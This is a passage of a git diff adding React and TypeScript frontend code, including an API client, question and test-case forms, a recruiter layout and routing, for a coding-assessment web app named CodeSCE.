+    <main className="min-h-screen flex items-center justify-center p-4">
+      <section className="w-full max-w-sm text-center">
+        <h1 className="text-2xl font-semibold mb-4">CodeSCE</h1>
+
+        <div className="flex gap-2 justify-center">
+          <input
+            type="text"
+            value={name}
+            onChange={(event) => setName(event.target.value)}
+            placeholder="Name"
+            aria-label="Name"
+            className="flex-1 border border-gray-300 rounded-md px-2 py-1.5"
+          />
+          <button
+            type="button"
+            onClick={handleStart}
+            className="px-3 py-1.5 bg-gray-900 text-white rounded-md hover:bg-gray-800"
+          >
+            Start
+          </button>
+        </div>
 
-function Home({ name, error, onNameChange, onStart }: HomeProps) {
-    return (
-        <main className="app-container">
-            <section className="start-card">
-                <h1>CodeSCE</h1>
-
-                <div className="form-row">
-                    <input
-                        type="text"
-                        value={name}
-                        onChange={(event) => onNameChange(event.target.value)}
-                        placeholder="Name"
-                        aria-label="Name"
-                    />
-                    <button type="button" onClick={onStart}>
-                        Start
-                    </button>
-                </div>
-
-                {error && <p className="message error">{error}</p>}
-            </section>
-        </main>
-    )
+        {error && <p className="mt-2 text-red-700">{error}</p>}
+      </section>
+    </main>
+  )
 }
 
 export default Home
diff --git a/frontend/src/api/client.ts b/frontend/src/api/client.ts
new file mode 100644
index 0000000..a57fb7d
--- /dev/null
+++ b/frontend/src/api/client.ts
@@ -0,0 +1,163 @@
+const baseUrl = import.meta.env.VITE_API_URL ?? 'http://localhost:6767/api'
+
+type RequestOptions = Omit<RequestInit, 'body'> & {
+  body?: unknown
+}
+
+async function request<T>(path: string, options: RequestOptions = {}): Promise<T> {
+  const { body, headers, ...rest } = options
+  const init: RequestInit = {
+    ...rest,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers,
+    },
+  }
+
+  if (body !== undefined) {
+    init.body = typeof body === 'string' ? body : JSON.stringify(body)
+  }
+
+  const response = await fetch(`${baseUrl}${path}`, init)
+
+  if (!response.ok) {
+    const text = await response.text()
+    throw new Error(text || `Request failed: ${response.status}`)
+  }
+
+  if (response.status === 204) {
+    return undefined as T
+  }
+
+  return (await response.json()) as T
+}
+
+export type CreateAssessmentBody = {
+  title: string
+  description?: string
+  duration_minutes: number
+}
+
+export function listAssessments<T = unknown>(): Promise<T> {
+  return request<T>('/assessments', { method: 'GET' })
+}
+
+export function createAssessment<T = unknown>(body: CreateAssessmentBody): Promise<T> {
+  return request<T>('/assessments', { method: 'POST', body })
+}
+
+export function getAssessment<T = unknown>(assessmentId: string): Promise<T> {
+  return request<T>(`/assessments/${encodeURIComponent(assessmentId)}`, { method: 'GET' })
+}
+
+export function updateAssessment<T = unknown>(
+  assessmentId: string,
+  body: CreateAssessmentBody,
+): Promise<T> {
+  return request<T>(`/assessments/${encodeURIComponent(assessmentId)}`, {
+    method: 'PUT',
+    body,
+  })
+}
+
+export function addQuestion<T = unknown>(
+  assessmentId: string,
+  body: Record<string, unknown>,
+): Promise<T> {
+  return request<T>(`/assessments/${encodeURIComponent(assessmentId)}/questions`, {
+    method: 'POST',
+    body,
+  })
+}
+
+export function addTestCases<T = unknown>(
+  assessmentId: string,
+  questionId: number,
+  body: { testCases: unknown[] },
+): Promise<T> {
+  return request<T>(
+    `/assessments/${encodeURIComponent(assessmentId)}/questions/${questionId}/test-cases`,
+    { method: 'POST', body },
+  )
+}
+
+export function createInvite<T = unknown>(
+  assessmentId: string,
+  body: Record<string, unknown>,
+): Promise<T> {
+  return request<T>(`/assessments/${encodeURIComponent(assessmentId)}/invites`, {
+    method: 'POST',
+    body,
+  })
+}
+
+export function listInvites<T = unknown>(): Promise<T> {
+  return request<T>('/invites', { method: 'GET' })
+}
+
+export function validateInvite<T = unknown>(token: string): Promise<T> {
+  return request<T>(`/invites/${encodeURIComponent(token)}`, { method: 'GET' })
+}
+
+export function startAttempt<T = unknown>(token: string, body?: Record<string, unknown>): Promise<T> {
+  return request<T>(`/invites/${encodeURIComponent(token)}/start`, {
+    method: 'POST',
+    body: body ?? {},
+  })
+}
+
+export function listAttempts<T = unknown>(params?: { assessmentId?: string }): Promise<T> {
+  const search =
+    params?.assessmentId !== undefined && params.assessmentId !== ''
+      ? `?assessmentId=${encodeURIComponent(params.assessmentId)}`
+      : ''
+  return request<T>(`/attempts${search}`, { method: 'GET' })
+}
+
+export function getAttempt<T = unknown>(attemptId: string): Promise<T> {
+  return request<T>(`/attempts/${encodeURIComponent(attemptId)}`, { method: 'GET' })
+}
+
+export function getAttemptQuestions<T = unknown>(attemptId: string): Promise<T> {
+  return request<T>(`/attempts/${encodeURIComponent(attemptId)}/questions`, { method: 'GET' })
+}
+
+export function saveAnswers<T = unknown>(
+  attemptId: string,
+  body: Record<string, unknown>,
+): Promise<T> {
+  return request<T>(`/attempts/${encodeURIComponent(attemptId)}/answers`, {
+    method: 'POST',
+    body,
+  })
+}
+
+export function submitAttempt<T = unknown>(attemptId: string): Promise<T> {
+  return request<T>(`/attempts/${encodeURIComponent(attemptId)}/submit`, { method: 'POST' })
+}
+
+export function createSubmission<T = unknown>(
+  attemptId: string,
+  questionId: number,
+  body: Record<string, unknown>,
+): Promise<T> {
+  return request<T>(
+    `/attempts/${encodeURIComponent(attemptId)}/questions/${questionId}/submissions`,
+    { method: 'POST', body },
+  )
+}
+
+export function getSubmission<T = unknown>(submissionId: string): Promise<T> {
+  return request<T>(`/submissions/${encodeURIComponent(submissionId)}`, { method: 'GET' })
+}
+
+export function runCode<T = unknown>(
+  attemptId: string,
+  questionId: number,
+  body?: Record<string, unknown>,
+): Promise<T> {
+  return request<T>(
+    `/attempts/${encodeURIComponent(attemptId)}/questions/${questionId}/run`,
+    { method: 'POST', body: body ?? {} },
+  )
+}
diff --git a/frontend/src/components/QuestionForm.tsx b/frontend/src/components/QuestionForm.tsx
new file mode 100644
index 0000000..d8d2af3
--- /dev/null
+++ b/frontend/src/components/QuestionForm.tsx
@@ -0,0 +1,286 @@
+import { useState } from 'react'
+
+export type QuestionType = 'mcq_single' | 'mcq_multi' | 'short_answer' | 'code'
+
+export type QuestionPayload = {
+  type: QuestionType
+  prompt: string
+  score: number
+  options?: string[]
+  correct_answer?: unknown
+  language?: string
+}
+
+type QuestionFormProps = {
+  onSubmit: (payload: QuestionPayload) => void
+  onCancel: () => void
+  isSubmitting?: boolean
+  submitError?: string | null
+}
+
+const LANGUAGES = ['python', 'javascript', 'go', 'java', 'cpp']
+
+function QuestionForm({ onSubmit, onCancel, isSubmitting, submitError }: QuestionFormProps) {
+  const [type, setType] = useState<QuestionType>('mcq_single')
+  const [prompt, setPrompt] = useState('')
+  const [score, setScore] = useState('1')
+  const [options, setOptions] = useState<string[]>(['', ''])
+  const [singleCorrect, setSingleCorrect] = useState<number | null>(null)
+  const [multiCorrect, setMultiCorrect] = useState<number[]>([])
+  const [shortAnswer, setShortAnswer] = useState('')
+  const [language, setLanguage] = useState<string>(LANGUAGES[0])
+  const [formError, setFormError] = useState('')
+
+  const isMcq = type === 'mcq_single' || type === 'mcq_multi'
+
+  const updateOption = (index: number, value: string) => {
+    setOptions((prev) => prev.map((option, i) => (i === index ? value : option)))
+  }
+
+  const addOption = () => setOptions((prev) => [...prev, ''])
+
+  const removeOption = (index: number) => {
+    setOptions((prev) => prev.filter((_, i) => i !== index))
+    if (type === 'mcq_single') {
+      setSingleCorrect((prev) => {
+        if (prev === null) return prev
+        if (prev === index) return null
+        return prev > index ? prev - 1 : prev
+      })
+    } else {
+      setMultiCorrect((prev) =>
+        prev
+          .filter((i) => i !== index)
+          .map((i) => (i > index ? i - 1 : i)),
+      )
+    }
+  }
+
+  const toggleMultiCorrect = (index: number) => {
+    setMultiCorrect((prev) =>
+      prev.includes(index) ? prev.filter((i) => i !== index) : [...prev, index],
+    )
+  }
+
+  const handleSubmit = (event: React.FormEvent) => {
+    event.preventDefault()
+    setFormError('')
+
+    const trimmedPrompt = prompt.trim()
+    if (!trimmedPrompt) {
+      setFormError('Prompt is required')
+      return
+    }
+
+    const numericScore = Number(score)
+    if (!Number.isFinite(numericScore) || numericScore <= 0) {
+      setFormError('Score must be greater than 0')
+      return
+    }
+
+    const payload: QuestionPayload = {
+      type,
+      prompt: trimmedPrompt,
+      score: numericScore,
+    }
+
+    if (isMcq) {
+      const trimmedOptions = options.map((option) => option.trim())
+      if (trimmedOptions.some((option) => !option) || trimmedOptions.length < 2) {
+        setFormError('Provide at least 2 non-empty options')
+        return
+      }
+      payload.options = trimmedOptions
+
+      if (type === 'mcq_single') {
+        if (singleCorrect === null) {
+          setFormError('Select the correct answer')
+          return
+        }
+        payload.correct_answer = singleCorrect
+      } else {
+        if (multiCorrect.length === 0) {
+          setFormError('Select at least one correct answer')
+          return
+        }
+        payload.correct_answer = [...multiCorrect].sort((a, b) => a - b)
+      }
+    } else if (type === 'short_answer') {
+      const trimmedAnswer = shortAnswer.trim()
+      if (trimmedAnswer) {
+        payload.correct_answer = trimmedAnswer
+      }
+    } else if (type === 'code') {
+      if (!language) {
+        setFormError('Language is required for code questions')
+        return
+      }
+      payload.language = language
+    }
+
+    onSubmit(payload)
+  }
+
+  return (
+    <form
+      onSubmit={handleSubmit}
+      className="space-y-4 rounded-md border border-gray-200 bg-white p-4"
+    >
+      <div>
+        <label htmlFor="question-type" className="block text-sm font-medium text-gray-700 mb-1">
+          Type
+        </label>
+        <select
+          id="question-type"
+          value={type}
+          onChange={(event) => setType(event.target.value as QuestionType)}
+          className="w-full border border-gray-300 rounded-md px-3 py-2"
+        >
+          <option value="mcq_single">Multiple choice (single)</option>
+          <option value="mcq_multi">Multiple choice (multi)</option>
+          <option value="short_answer">Short answer</option>
+          <option value="code">Code</option>
+        </select>
+      </div>
+
+      <div>
+        <label htmlFor="question-prompt" className="block text-sm font-medium text-gray-700 mb-1">
+          Prompt
+        </label>
+        <textarea
+          id="question-prompt"
+          value={prompt}
+          onChange={(event) => setPrompt(event.target.value)}
+          rows={3}
+          className="w-full border border-gray-300 rounded-md px-3 py-2"
+        />
+      </div>
+
+      <div>
+        <label htmlFor="question-score" className="block text-sm font-medium text-gray-700 mb-1">
+          Score
+        </label>
+        <input
+          id="question-score"
+          type="number"
+          min={1}
+          value={score}
+          onChange={(event) => setScore(event.target.value)}
+          className="w-full border border-gray-300 rounded-md px-3 py-2"
+        />
+      </div>
+
+      {isMcq && (
+        <div>
+          <div className="flex items-center justify-between mb-2">
+            <label className="block text-sm font-medium text-gray-700">Options</label>
+            <button
+              type="button"
+              onClick={addOption}
+              className="text-sm font-medium text-gray-700 hover:text-gray-900"
+            >
+              + Add option
+            </button>
+          </div>
+          <ul className="space-y-2">
+            {options.map((option, index) => (
+              <li key={index} className="flex items-center gap-2">
+                {type === 'mcq_single' ? (
+                  <input
+                    type="radio"
+                    name="mcq-correct"
+                    checked={singleCorrect === index}
+                    onChange={() => setSingleCorrect(index)}
+                    aria-label={`Mark option ${index + 1} correct`}
+                  />
+                ) : (
+                  <input
+                    type="checkbox"
+                    checked={multiCorrect.includes(index)}
+                    onChange={() => toggleMultiCorrect(index)}
+                    aria-label={`Mark option ${index + 1} correct`}
+                  />
+                )}
+                <input
+                  type="text"
+                  value={option}
+                  onChange={(event) => updateOption(index, event.target.value)}
+                  placeholder={`Option ${index + 1}`}
+                  className="flex-1 border border-gray-300 rounded-md px-3 py-2"
+                />
+                <button
+                  type="button"
+                  onClick={() => removeOption(index)}
+                  disabled={options.length <= 2}
+                  className="text-sm text-red-700 hover:text-red-900 disabled:opacity-40"
+                >
+                  Remove
+                </button>
+              </li>
+            ))}
+          </ul>
+        </div>
+      )}
+
+      {type === 'short_answer' && (
+        <div>
+          <label
+            htmlFor="short-answer"
+            className="block text-sm font-medium text-gray-700 mb-1"
+          >
+            Expected answer (optional)
+          </label>
+          <input
+            id="short-answer"
+            type="text"
+            value={shortAnswer}
+            onChange={(event) => setShortAnswer(event.target.value)}
+            className="w-full border border-gray-300 rounded-md px-3 py-2"
+          />
+        </div>
+      )}
+
+      {type === 'code' && (
+        <div>
+          <label htmlFor="code-language" className="block text-sm font-medium text-gray-700 mb-1">
+            Language
+          </label>
+          <select
+            id="code-language"
+            value={language}
+            onChange={(event) => setLanguage(event.target.value)}
+            className="w-full border border-gray-300 rounded-md px-3 py-2"
+          >
+            {LANGUAGES.map((lang) => (
+              <option key={lang} value={lang}>
+                {lang}
+              </option>
+            ))}
+          </select>
+        </div>
+      )}
+
+      {formError && <p className="text-red-700 text-sm">{formError}</p>}
+      {submitError && <p className="text-red-700 text-sm">{submitError}</p>}
+
+      <div className="flex gap-2">
+        <button
+          type="submit"
+          disabled={isSubmitting}
+          className="px-4 py-2 bg-gray-900 text-white rounded-md text-sm font-medium hover:bg-gray-800 disabled:opacity-60"
+        >
+          {isSubmitting ? 'Adding…' : 'Add question'}
+        </button>
+        <button
+          type="button"
+          onClick={onCancel}
+          className="px-4 py-2 border border-gray-300 rounded-md text-sm font-medium hover:bg-gray-100"
+        >
+          Cancel
+        </button>
+      </div>
+    </form>
+  )
+}
+
+export default QuestionForm
diff --git a/frontend/src/components/RecruiterLayout.tsx b/frontend/src/components/RecruiterLayout.tsx
new file mode 100644
index 0000000..830ad07
--- /dev/null
+++ b/frontend/src/components/RecruiterLayout.tsx
@@ -0,0 +1,43 @@
+import { NavLink, Outlet } from 'react-router-dom'
+
+const navItems = [
+  { to: '/recruiter', label: 'Dashboard', end: true },
+  { to: '/recruiter/candidates', label: 'Candidates' },
+  { to: '/assessments', label: 'Assessments' },
+]
+
+function RecruiterLayout() {
+  return (
+    <div className="min-h-screen flex bg-gray-50">
+      <aside className="w-60 bg-white border-r border-gray-200 flex flex-col">
+        <div className="px-6 py-5 border-b border-gray-200">
+          <h2 className="text-lg font-semibold text-gray-900">CodeSCE</h2>
+          <p className="text-xs text-gray-500">Recruiter</p>
+        </div>
+        <nav className="flex-1 px-3 py-4 space-y-1">
+          {navItems.map((item) => (
+            <NavLink
+              key={item.to}
+              to={item.to}
+              end={item.end}
+              className={({ isActive }) =>
+                `block px-3 py-2 rounded-md text-sm font-medium ${
+                  isActive
+                    ? 'bg-gray-900 text-white'
+                    : 'text-gray-700 hover:bg-gray-100'
+                }`
+              }
+            >
+              {item.label}
+            </NavLink>
+          ))}
+        </nav>
+      </aside>
+      <main className="flex-1 p-6">
+        <Outlet />
+      </main>
+    </div>
+  )
+}
+
+export default RecruiterLayout
diff --git a/frontend/src/components/TestCaseManager.tsx b/frontend/src/components/TestCaseManager.tsx
new file mode 100644
index 0000000..22c83f3
--- /dev/null
+++ b/frontend/src/components/TestCaseManager.tsx
@@ -0,0 +1,206 @@
+import { useState } from 'react'
+import { useMutation, useQueryClient } from '@tanstack/react-query'
+import { addTestCases } from '../api/client'
+
+export type TestCase = {
+  id: number
+  questionId: number
+  input: string
+  expectedOutput: string
+  isHidden: boolean
+  score: number
+}
+
+type TestCasePayload = {
+  input: string
+  expectedOutput: string
+  isHidden: boolean
+  score: number
+}
+
+type TestCaseManagerProps = {
+  assessmentId: string
+  questionId: number
+  testCases: TestCase[]
+}
+
+function TestCaseManager({ assessmentId, questionId, testCases }: TestCaseManagerProps) {
+  const queryClient = useQueryClient()
+  const [showForm, setShowForm] = useState(false)
+  const [input, setInput] = useState('')
+  const [expectedOutput, setExpectedOutput] = useState('')
+  const [isHidden, setIsHidden] = useState(false)
+  const [score, setScore] = useState('1')
+  const [formError, setFormError] = useState('')
+
+  const addMutation = useMutation({
+    mutationFn: (payload: TestCasePayload) =>
+      addTestCases<{ testCases: TestCase[] }>(assessmentId, questionId, {
+        testCases: [payload],
+      }),
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: ['assessment', assessmentId] })
+      setInput('')
+      setExpectedOutput('')
+      setIsHidden(false)
+      setScore('1')
+      setShowForm(false)
+    },
+  })
+
+  const submitError =
+    addMutation.error instanceof Error ? addMutation.error.message : null
+
+  const handleSubmit = (event: React.FormEvent) => {
+    event.preventDefault()
+    setFormError('')
+
+    const numericScore = Number(score)
+    if (!Number.isFinite(numericScore) || numericScore <= 0) {
+      setFormError('Score must be greater than 0')
+      return
+    }
+
+    addMutation.mutate({
+      input,
+      expectedOutput,
+      isHidden,
+      score: numericScore,
+    })
+  }
+
+  return (
+    <div className="mt-3 border-t border-gray-200 pt-3">
+      <div className="flex items-center justify-between mb-2">
+        <h3 className="text-sm font-semibold text-gray-700">Test cases</h3>
+        {!showForm && (
+          <button
+            type="button"
+            onClick={() => {
+              addMutation.reset()
+              setShowForm(true)
+            }}
+            className="text-sm font-medium text-gray-700 hover:text-gray-900"
+          >
+            + Add test case
+          </button>
+        )}
+      </div>
+
+      {testCases.length === 0 ? (
+        <p className="text-xs text-gray-500">No test cases yet.</p>
+      ) : (
+        <ul className="space-y-2">
+          {testCases.map((testCase) => (
+            <li
+              key={testCase.id}
+              className="rounded-md border border-gray-200 p-2 text-xs"
+            >
+              <div className="flex items-center justify-between mb-1">
+                <span className="font-medium text-gray-700">
+                  {testCase.score} pts
+                </span>
+                {testCase.isHidden && (
+                  <span className="px-1.5 py-0.5 rounded bg-gray-200 text-gray-700 uppercase tracking-wide">
+                    Hidden
+                  </span>
+                )}
+              </div>
+              <div className="grid grid-cols-2 gap-2">
+                <div>
+                  <p className="text-gray-500 mb-0.5">Input</p>
+                  <pre className="font-mono whitespace-pre-wrap break-words bg-gray-50 rounded p-1.5">
+                    {testCase.input || <span className="text-gray-400">(empty)</span>}
+                  </pre>
+                </div>
+                <div>
+                  <p className="text-gray-500 mb-0.5">Expected output</p>
+                  <pre className="font-mono whitespace-pre-wrap break-words bg-gray-50 rounded p-1.5">
+                    {testCase.expectedOutput || (
+                      <span className="text-gray-400">(empty)</span>
+                    )}
+                  </pre>
+                </div>
+              </div>
+            </li>
+          ))}
+        </ul>
+      )}
+
+      {showForm && (
+        <form
+          onSubmit={handleSubmit}
+          className="mt-3 space-y-3 rounded-md border border-gray-200 bg-gray-50 p-3"
+        >
+          <div>
+            <label className="block text-xs font-medium text-gray-700 mb-1">
+              Input
+            </label>
+            <textarea
+              value={input}
+              onChange={(event) => setInput(event.target.value)}
+              rows={2}
+              className="w-full font-mono text-sm border border-gray-300 rounded-md px-2 py-1.5"
+            />
+          </div>
+          <div>
+            <label className="block text-xs font-medium text-gray-700 mb-1">
+              Expected output
+            </label>
+            <textarea
+              value={expectedOutput}
+              onChange={(event) => setExpectedOutput(event.target.value)}
+              rows={2}
+              className="w-full font-mono text-sm border border-gray-300 rounded-md px-2 py-1.5"
+            />
+          </div>
+          <div className="flex items-center gap-4">
+            <label className="flex items-center gap-2 text-sm text-gray-700">
+              <input
+                type="checkbox"
+                checked={isHidden}
+                onChange={(event) => setIsHidden(event.target.checked)}
+              />
+              Hidden
+            </label>
+            <div className="flex items-center gap-2">
+              <label className="text-sm text-gray-700">Score</label>
+              <input
+                type="number"
+                min={1}
+                value={score}
+                onChange={(event) => setScore(event.target.value)}
+                className="w-20 border border-gray-300 rounded-md px-2 py-1"
+              />
+            </div>
+          </div>
+
+          {formError && <p className="text-red-700 text-xs">{formError}</p>}
+          {submitError && <p className="text-red-700 text-xs">{submitError}</p>}
+
+          <div className="flex gap-2">
+            <button
+              type="submit"
+              disabled={addMutation.isPending}
+              className="px-3 py-1.5 bg-gray-900 text-white rounded-md text-sm font-medium hover:bg-gray-800 disabled:opacity-60"
+            >
+              {addMutation.isPending ? 'Adding…' : 'Add test case'}
+            </button>
+            <button
+              type="button"
+              onClick={() => {
+                addMutation.reset()
+                setShowForm(false)
+              }}
+              className="px-3 py-1.5 border border-gray-300 rounded-md text-sm font-medium hover:bg-gray-100"
+            >
+              Cancel
+            </button>
+          </div>
+        </form>
+      )}
+    </div>
+  )
+}
+
+export default TestCaseManager
diff --git a/frontend/src/index.css b/frontend/src/index.css
index 6092539..76ee4ca 100644
--- a/frontend/src/index.css
+++ b/frontend/src/index.css
@@ -1,3 +1,7 @@
+@tailwind base;
+@tailwind components;
+@tailwind utilities;
+
 body {
   margin: 0;
-}
\ No newline at end of file
+}
diff --git a/frontend/src/main.tsx b/frontend/src/main.tsx
index bef5202..edd4fae 100644
--- a/frontend/src/main.tsx
+++ b/frontend/src/main.tsx
@@ -1,10 +1,35 @@
 import { StrictMode } from 'react'
 import { createRoot } from 'react-dom/client'
+import { createBrowserRouter, RouterProvider } from 'react-router-dom'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
 import './index.css'
-import App from './App.tsx'
+import Home from './Home.tsx'
+import Assessment from './Assessment.tsx'
+import RecruiterLayout from './components/RecruiterLayout.tsx'
+import AssessmentsList from './pages/AssessmentsList.tsx'
+import AssessmentEditor from './pages/AssessmentEditor.tsx'
+
+const queryClient = new QueryClient()
+
+const router = createBrowserRouter([
+  { path: '/', element: <Home /> },
+  { path: '/assessment', element: <Assessment /> },
+  {
+    element: <RecruiterLayout />,
+    children: [
+      { path: '/recruiter', element: <div>Dashboard</div> },
+      { path: '/recruiter/candidates', element: <div>Candidates</div> },
+      { path: '/assessments', element: <AssessmentsList /> },
+      { path: '/assessments/new', element: <AssessmentEditor /> },
+      { path: '/assessments/:id', element: <AssessmentEditor /> },
+    ],
+  },
+])
 
 createRoot(document.getElementById('root')!).render(
   <StrictMode>
-    <App />
+    <QueryClientProvider client={queryClient}>
+      <RouterProvider router={router} />
+    </QueryClientProvider>
   </StrictMode>,
 )
diff --git a/frontend/src/pages/AssessmentEditor.tsx b/frontend/src/pages/AssessmentEditor.tsx
new file mode 100644
index 0000000..7afbb41
--- /dev/null
+++ b/frontend/src/pages/AssessmentEditor.tsx
@@ -0,0 +1,285 @@
+import { useEffect, useState } from 'react'
+import { useNavigate, useParams } from 'react-router-dom'
+import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
+import {
+  addQuestion,
+  createAssessment,
+  getAssessment,
+  updateAssessment,
+} from '../api/client'
+import QuestionForm, { type QuestionPayload } from '../components/QuestionForm'
+import TestCaseManager, { type TestCase } from '../components/TestCaseManager'
+
+type Question = {
+  id: number
+  type: string
+  prompt: string
+  score: number
+  language?: string
+  testCases?: TestCase[]
+}
+
+type AssessmentDetail = {
+  id: number
+  title: string
+  description?: string
+  durationMinutes: number
+  createdAt: string
+  updatedAt: string
+  questions: Question[]
+}
+
+type AssessmentPayload = {
+  title: string
+  description?: string
+  duration_minutes: number
+}
+
+function AssessmentEditor() {
+  const navigate = useNavigate()
+  const queryClient = useQueryClient()
+  const params = useParams<{ id: string }>()
+  const isEdit = Boolean(params.id)
+  const assessmentId = params.id
+
+  const [title, setTitle] = useState('')
+  const [description, setDescription] = useState('')
+  const [durationMinutes, setDurationMinutes] = useState('30')
+  const [formError, setFormError] = useState('')
+  const [showQuestionForm, setShowQuestionForm] = useState(false)
+
+  const detailQuery = useQuery<AssessmentDetail>({
+    queryKey: ['assessment', assessmentId],
+    queryFn: () => getAssessment<AssessmentDetail>(assessmentId!),
+    enabled: isEdit,
+  })
+
+  useEffect(() => {
+    const data = detailQuery.data
+    if (!data) return
+    setTitle(data.title)
+    setDescription(data.description ?? '')
+    setDurationMinutes(String(data.durationMinutes))
+  }, [detailQuery.data])
+
+  const createMutation = useMutation({
+    mutationFn: (payload: AssessmentPayload) =>
+      createAssessment<AssessmentDetail>(payload),
+    onSuccess: (created) => {
+      queryClient.invalidateQueries({ queryKey: ['assessments'] })
+      navigate(`/assessments/${created.id}`)
+    },
+  })
+
+  const updateMutation = useMutation({
+    mutationFn: (payload: AssessmentPayload) =>
+      updateAssessment<AssessmentDetail>(assessmentId!, payload),
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: ['assessments'] })
+      queryClient.invalidateQueries({ queryKey: ['assessment', assessmentId] })
+    },
+  })
+
+  const addQuestionMutation = useMutation({
+    mutationFn: (payload: QuestionPayload) =>
+      addQuestion<Question>(assessmentId!, payload),
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: ['assessment', assessmentId] })
+      setShowQuestionForm(false)
+    },
+  })
+
+  const questionSubmitError =
+    addQuestionMutation.error instanceof Error ? addQuestionMutation.error.message : null
+
+  const handleSubmit = (event: React.FormEvent) => {
+    event.preventDefault()
+    setFormError('')
+
+    const trimmedTitle = title.trim()
+    if (!trimmedTitle) {
+      setFormError('Title is required')
+      return
+    }
+
+    const duration = Number(durationMinutes)
+    if (!Number.isFinite(duration) || duration <= 0) {
+      setFormError('Duration must be greater than 0')
+      return
+    }
+
+    const payload: AssessmentPayload = {
+      title: trimmedTitle,
+      description: description.trim() || undefined,
+      duration_minutes: duration,
+    }
+
+    if (isEdit) {
+      updateMutation.mutate(payload)
+    } else {
+      createMutation.mutate(payload)
+    }
+  }
+
+  const activeMutation = isEdit ? updateMutation : createMutation
+  const isSubmitting = activeMutation.isPending
+  const submitError =
+    activeMutation.error instanceof Error ? activeMutation.error.message : null
+
+  if (isEdit && detailQuery.isLoading) {
+    return <p className="text-gray-600">Loading assessment…</p>
+  }
+
+  if (isEdit && detailQuery.isError) {
+    return (
+      <p className="text-red-700">
+        {detailQuery.error instanceof Error
+          ? detailQuery.error.message
+          : 'Failed to load assessment'}
+      </p>
+    )
+  }
+
+  return (
+    <div className="max-w-3xl">
+      <h1 className="text-2xl font-semibold text-gray-900 mb-6">
+        {isEdit ? 'Edit Assessment' : 'Create Assessment'}
+      </h1>
+
+      <form onSubmit={handleSubmit} className="space-y-4">
+        <div>
+          <label htmlFor="title" className="block text-sm font-medium text-gray-700 mb-1">
+            Title
+          </label>
+          <input
+            id="title"
+            type="text"
+            value={title}
+            onChange={(event) => setTitle(event.target.value)}
+            className="w-full border border-gray-300 rounded-md px-3 py-2"
+          />
+        </div>
+
+        <div>
+          <label htmlFor="description" className="block text-sm font-medium text-gray-700 mb-1">
+            Description
+          </label>
+          <textarea
+            id="description"
+            value={description}
+            onChange={(event) => setDescription(event.target.value)}
+            rows={4}
+            className="w-full border border-gray-300 rounded-md px-3 py-2"
+          />
+        </div>
+
+        <div>
+          <label
+            htmlFor="duration"
+            className="block text-sm font-medium text-gray-700 mb-1"
+          >
+            Duration (minutes)
+          </label>
+          <input
+            id="duration"
+            type="number"
+            min={1}
+            value={durationMinutes}
+            onChange={(event) => setDurationMinutes(event.target.value)}
+            className="w-full border border-gray-300 rounded-md px-3 py-2"
+          />
+        </div>
+
+        {formError && <p className="text-red-700 text-sm">{formError}</p>}
+        {submitError && <p className="text-red-700 text-sm">{submitError}</p>}
+
+        <div className="flex gap-2">
+          <button
+            type="submit"
+            disabled={isSubmitting}
+            className="px-4 py-2 bg-gray-900 text-white rounded-md text-sm font-medium hover:bg-gray-800 disabled:opacity-60"
+          >
+            {isSubmitting
+              ? 'Saving…'
+              : isEdit
+                ? 'Save changes'
+                : 'Create assessment'}
+          </button>
+          <button
+            type="button"
+            onClick={() => navigate('/assessments')}
+            className="px-4 py-2 border border-gray-300 rounded-md text-sm font-medium hover:bg-gray-100"
+          >
+            Cancel
+          </button>
+        </div>
+      </form>
+
+      {isEdit && detailQuery.data && (
+        <section className="mt-10">
+          <div className="flex items-center justify-between mb-3">
+            <h2 className="text-lg font-semibold text-gray-900">Questions</h2>
+            {!showQuestionForm && (
+              <button
+                type="button"
+                onClick={() => {
+                  addQuestionMutation.reset()
+                  setShowQuestionForm(true)
+                }}
+                className="px-3 py-1.5 bg-gray-900 text-white rounded-md text-sm font-medium hover:bg-gray-800"
+              >
+                Add Question
+              </button>
+            )}
+          </div>
+
+          {showQuestionForm && (
+            <div className="mb-4">
+              <QuestionForm
+                onSubmit={(payload) => addQuestionMutation.mutate(payload)}
+                onCancel={() => {
+                  addQuestionMutation.reset()
+                  setShowQuestionForm(false)
+                }}
+                isSubmitting={addQuestionMutation.isPending}
+                submitError={questionSubmitError}
+              />
+            </div>
+          )}
+
+          {detailQuery.data.questions.length === 0 ? (
+            <p className="text-gray-500 text-sm">No questions added yet.</p>
+          ) : (
+            <ul className="divide-y divide-gray-200 rounded-md border border-gray-200 bg-white">
+              {detailQuery.data.questions.map((question, index) => (
+                <li key={question.id} className="px-4 py-3">
+                  <div className="flex items-center justify-between">
+                    <p className="font-medium text-gray-900">
+                      {index + 1}. {question.prompt}
+                    </p>
+                    <span className="text-xs text-gray-500 uppercase tracking-wide">
+                      {question.type}
+                    </span>
+                  </div>
+                  <p className="text-sm text-gray-500 mt-1">
+                    {question.score} pts
+                    {question.language ? ` · ${question.language}` : ''}
+                  </p>
+                  {question.type === 'code' && assessmentId && (
+                    <TestCaseManager
+                      assessmentId={assessmentId}
+                      questionId={question.id}
+                      testCases={question.testCases ?? []}
+                    />
+                  )}
+                </li>
+              ))}
+            </ul>
+          )}
+        </section>
+      )}
+    </div>
+  )
+}
+
+export default AssessmentEditor
diff --git a/frontend/src/pages/AssessmentsList.tsx b/frontend/src/pages/AssessmentsList.tsx
new file mode 100644
index 0000000..f21ef0e
--- /dev/null
+++ b/frontend/src/pages/AssessmentsList.tsx
@@ -0,0 +1,74 @@
+import { useQuery } from '@tanstack/react-query'
+import { Link } from 'react-router-dom'
+import { listAssessments } from '../api/client'
+
+type Assessment = {
+  id: number
+  title: string
+  description?: string
+  durationMinutes: number
+  createdAt: string
+  updatedAt: string
+}
+
+const dateFormatter = new Intl.DateTimeFormat(undefined, {
+  year: 'numeric',
+  month: 'short',
+  day: 'numeric',
+})
+
+function AssessmentsList() {
+  const { data, isLoading, isError, error } = useQuery<Assessment[]>({
+    queryKey: ['assessments'],
+    queryFn: () => listAssessments<Assessment[]>(),
+  })
+
+  return (
+    <div className="max-w-4xl">
+      <div className="flex items-center justify-between mb-6">
+        <h1 className="text-2xl font-semibold text-gray-900">Assessments</h1>
+        <Link
+          to="/assessments/new"
+          className="px-4 py-2 bg-gray-900 text-white rounded-md text-sm font-medium hover:bg-gray-800"
+        >
+          Create Assessment
+        </Link>
+      </div>
+
